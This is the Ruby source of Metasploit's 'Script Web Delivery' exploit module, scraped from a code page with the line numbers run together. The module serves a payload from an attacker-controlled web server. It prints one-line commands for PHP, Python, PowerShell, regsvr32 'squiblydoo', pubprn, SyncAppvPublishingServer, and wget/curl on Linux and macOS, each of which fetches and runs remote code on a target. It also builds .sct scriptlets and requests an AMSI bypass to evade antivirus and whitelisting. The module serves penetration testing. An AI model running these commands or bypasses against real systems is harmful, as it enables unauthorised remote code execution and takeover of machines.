Path: blob/master/modules/exploits/multi/script/web_delivery.rb
31696 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ManualRanking78include Msf::Exploit::EXE9include Msf::Exploit::Powershell10include Msf::Exploit::Remote::HttpServer1112def initialize(info = {})13super(14update_info(15info,16'Name' => 'Script Web Delivery',17'Description' => %q{18This module quickly fires up a web server that serves a payload.1920The module will provide a command to be run on the target machine21based on the selected target. The provided command will download22and execute a payload using either a specified scripting language23interpreter or "squiblydoo" via regsvr32.exe for bypassing24application whitelisting.2526The main purpose of this module is to quickly establish a session on a27target machine when the attacker has to manually type in the command:28e.g. Command Injection, RDP Session, Local Access or maybe Remote29Command Execution.3031This attack vector does not write to disk so it is less likely to32trigger AV solutions and will allow privilege escalations supplied33by Meterpreter.3435When using either of the PSH targets, ensure the payload architecture36matches the target computer or use SYSWOW64 powershell.exe to execute37x86 payloads on x64 machines.3839Regsvr32 uses "squiblydoo" technique to bypass application whitelisting.40The signed Microsoft binary file, Regsvr32, is able to request an .sct41file and then execute the included PowerShell command inside of it.4243Similarly, the pubprn target uses the pubprn.vbs script to request and44execute a .sct file.4546Both web requests (i.e., the .sct file and PowerShell download/execute)47can occur on the same port.4849The SyncAppvPublishingServer target uses SyncAppvPublishingServer.exe50Microsoft signed binary to request and execute a PowerShell script. This51technique only works on Windows 10 builds <= 1709.5253"PSH (Binary)" will write a file to the disk, allowing for custom binaries54to be served up to be downloaded and executed.55},56'License' => MSF_LICENSE,57'Author' => [58'Andrew Smith "jakx" <[email protected]>',59'Ben Campbell',60'Chris Campbell', # @obscuresec - Inspiration n.b. no relation!61'Casey Smith', # AppLocker bypass research and vulnerability discovery (@subTee)62'Trenton Ivey', # AppLocker MSF Module (kn0)63'g0tmi1k', # @g0tmi1k // https://blog.g0tmi1k.com/ - additional features64'phra', # @phraaaaaaa // https://iwantmore.pizza/ - AMSI/SBL bypass65],66'DefaultOptions' => {67'Payload' => 'python/meterpreter/reverse_tcp',68'Powershell::exec_in_place' => true69},70'References' => [71['URL', 'https://securitypadawan.blogspot.com/2014/02/php-meterpreter-web-delivery.html'],72['URL', 'https://www.pentestgeek.com/2013/07/19/invoke-shellcode/'],73['URL', 'http://www.powershellmagazine.com/2013/04/19/pstip-powershell-command-line-switches-shortcuts/'],74['URL', 'https://www.darkoperator.com/blog/2013/3/21/powershell-basics-execution-policy-and-code-signing-part-2.html'],75['URL', 'http://web.archive.org/web/20171026182440/http://subt0x10.blogspot.com:80/2017/04/bypass-application-whitelisting-script.html'],76['URL', 'https://enigma0x3.net/2017/08/03/wsh-injection-a-case-study/'],77['URL', 'https://iwantmore.pizza/posts/amsi.html'],78['URL', 'https://lolbas-project.github.io/lolbas/Binaries/Regsvr32/'],79['URL', 'https://lolbas-project.github.io/lolbas/Binaries/Syncappvpublishingserver/'],80['URL', 'https://lolbas-project.github.io/lolbas/Scripts/Pubprn/'],81],82'Targets' => [83[84'Python', {85'Platform' => 'python',86'Arch' => ARCH_PYTHON87}88],89[90'PHP', {91'Platform' => 'php',92'Arch' => ARCH_PHP93}94],95[96'PSH', {97'Platform' => 'win',98'Arch' => [ARCH_X86, ARCH_X64]99}100],101[102'Regsvr32', {103'Platform' => 'win',104'Arch' => [ARCH_X86, ARCH_X64]105}106],107[108'pubprn', {109'Author' => [110'bcoles',111'Matt Nelson' # @enigma0x3112],113'Platform' => 'win',114'Arch' => [ARCH_X86, ARCH_X64]115}116],117[118'SyncAppvPublishingServer', {119'Author' => [120'bcoles',121'Nick Landers' # @monoxgas122],123'Platform' => 'win',124'Arch' => [ARCH_X86, ARCH_X64]125}126],127[128'PSH (Binary)', {129'Platform' => 'win',130'Arch' => [ARCH_X86, ARCH_X64]131}132],133[134'Linux', {135'Author' => 'bcoles',136'Platform' => 'linux',137'Arch' => [ARCH_X86, ARCH_X64]138}139],140[141'Mac OS X', {142'Platform' => 'osx',143'Arch' => [ARCH_X86, ARCH_X64]144}145],146],147'DefaultTarget' => 0,148'DisclosureDate' => '2013-07-19',149'Notes' => {150'Reliability' => UNKNOWN_RELIABILITY,151'Stability' => UNKNOWN_STABILITY,152'SideEffects' => UNKNOWN_SIDE_EFFECTS153}154)155)156157register_advanced_options(158[159OptBool.new('PSH-AmsiBypass', [ true, 'PSH - Request AMSI/SBL bypass before the stager', true ]),160OptString.new('PSH-AmsiBypassURI', [ false, 'PSH - The URL to use for the AMSI/SBL bypass (Will be random if left blank)', '' ]),161OptBool.new('PSH-EncodedCommand', [ true, 'PSH - Use -EncodedCommand for web_delivery launcher', true ]),162OptBool.new('PSH-ForceTLS12', [ true, 'PSH - Force use of TLS v1.2', true ]),163OptBool.new('PSH-Proxy', [ true, 'PSH - Use the system proxy', true ]),164OptString.new('PSHBinary-PATH', [ false, 'PSH (Binary) - The folder to store the file on the target machine (Will be %TEMP% if left blank)', '' ]),165OptString.new('PSHBinary-FILENAME', [ false, 'PSH (Binary) - The filename to use (Will be random if left blank)', '' ]),166]167)168end169170def primer171print_status('Run the following command on the target machine:')172173case target.name174when 'PHP'175print_line(%(php -d allow_url_fopen=true -r "eval(file_get_contents('#{get_uri}', false, stream_context_create(['ssl'=>['verify_peer'=>false,'verify_peer_name'=>false]])));"))176when 'Python'177print_line(%(python -c "import sys;import ssl;u=__import__('urllib'+{2:'',3:'.request'}[sys.version_info[0]],fromlist=('urlopen',));r=u.urlopen('#{get_uri}', context=ssl._create_unverified_context());exec(r.read());"))178when 'PSH'179uri = get_uri180if datastore['PSH-AmsiBypass']181amsi_uri = uri + amsi_bypass_uri182print_line(gen_psh([amsi_uri, uri], 'string').to_s)183else184print_line(gen_psh(uri, 'string').to_s)185end186when 'pubprn'187print_line(%(C:\\Windows\\System32\\Printing_Admin_Scripts\\en-US\\pubprn.vbs 127.0.0.1 script:#{get_uri}.sct))188when 'SyncAppvPublishingServer'189print_line(%(SyncAppvPublishingServer.exe "n;(New-Object Net.WebClient).DownloadString('#{get_uri}') | IEX"))190when 'Regsvr32'191print_line(%(regsvr32 /s /n /u /i:#{get_uri}.sct scrobj.dll))192when 'PSH (Binary)'193psh = gen_psh(get_uri.to_s, 'download')194print_line(psh.to_s)195when 'Linux'196fname = Rex::Text.rand_text_alphanumeric(8)197print_line("wget -qO #{fname} --no-check-certificate #{get_uri}; chmod +x #{fname}; ./#{fname}& disown")198when 'Mac OS X'199fname = Rex::Text.rand_text_alphanumeric(8)200print_line("curl -sk --output #{fname} #{get_uri}; chmod +x #{fname}; ./#{fname}& disown")201end202end203204def amsi_bypass_uri205unless datastore['PSH-AmsiBypassURI'].empty?206@amsi_uri = datastore['PSH-AmsiBypassURI']207end208@amsi_uri ||= random_uri209end210211def on_request_uri(cli, request)212if request.raw_uri.to_s.ends_with?('.sct')213print_status('Handling .sct Request')214psh = gen_psh(get_uri.to_s, 'string')215216case target.name217when 'pubprn'218data = gen_pubprn_sct_file(psh)219when 'Regsvr32'220data = gen_sct_file(psh)221else222print_error('Unexpected request for .sct file')223end224225send_response(cli, data, 'Content-Type' => 'text/plain')226return227end228229if request.raw_uri.to_s.ends_with?(amsi_bypass_uri)230data = bypass_powershell_protections231print_status("Delivering AMSI Bypass (#{data.length} bytes)")232send_response(cli, data, 'Content-Type' => 'text/plain')233return234end235236case target.name237when 'Linux', 'Mac OS X', 'PSH (Binary)'238data = generate_payload_exe239when 'PSH', 'Regsvr32', 'pubprn', 'SyncAppvPublishingServer'240data = cmd_psh_payload(241payload.encoded,242payload_instance.arch.first243)244else245data = payload.encoded.to_s246end247248print_status("Delivering Payload (#{data.length} bytes)")249send_response(cli, data, 'Content-Type' => 'application/octet-stream')250end251252def gen_psh(url, *method)253ignore_cert = Rex::Powershell::PshMethods.ignore_ssl_certificate if ssl254force_tls12 = Rex::Powershell::PshMethods.force_tls12 if datastore['PSH-ForceTLS12']255256if method.include? 'string'257download_string = datastore['PSH-Proxy'] ? Rex::Powershell::PshMethods.proxy_aware_download_and_exec_string(url) : Rex::Powershell::PshMethods.download_and_exec_string(url)258else259# Random filename to use, if there isn't anything set260random = "#{rand_text_alphanumeric(8)}.exe"261262# Set filename (Use random filename if empty)263filename = datastore['PSHBinary-FILENAME'].blank? ? random : datastore['PSHBinary-FILENAME']264265# Set path (Use %TEMP% if empty)266path = datastore['PSHBinary-PATH'].blank? ? '$env:temp' : %('#{datastore['PSHBinary-PATH']}')267268# Join Path and Filename269file = %(echo (#{path}+'\\#{filename}'))270271# Generate download PowerShell command272download_string = Rex::Powershell::PshMethods.download_run(url, file)273end274275download_and_run = "#{force_tls12}#{ignore_cert}#{download_string}"276277# Generate main PowerShell command278if datastore['PSH-EncodedCommand']279download_and_run = encode_script(download_and_run)280return generate_psh_command_line(noprofile: true, windowstyle: 'hidden', encodedcommand: download_and_run)281end282283return generate_psh_command_line(noprofile: true, windowstyle: 'hidden', command: download_and_run)284end285286def rand_class_id287"#{Rex::Text.rand_text_hex(8)}-#{Rex::Text.rand_text_hex(4)}-#{Rex::Text.rand_text_hex(4)}-#{Rex::Text.rand_text_hex(4)}-#{Rex::Text.rand_text_hex(12)}"288end289290def gen_sct_file(command)291%{<?XML version="1.0"?><scriptlet><registration progid="#{rand_text_alphanumeric(8)}" classid="{#{rand_class_id}}"><script><![CDATA[ var r = new ActiveXObject("WScript.Shell").Run("#{command}",0);]]></script></registration></scriptlet>}292end293294def gen_pubprn_sct_file(command)295%{<?XML version="1.0"?><scriptlet><registration progid="#{rand_text_alphanumeric(8)}" classid="{#{rand_class_id}}" remotable="true"></registration><script><![CDATA[ var r = new ActiveXObject("WScript.Shell").Run("#{command}",0);]]></script></scriptlet>}296end297end298299300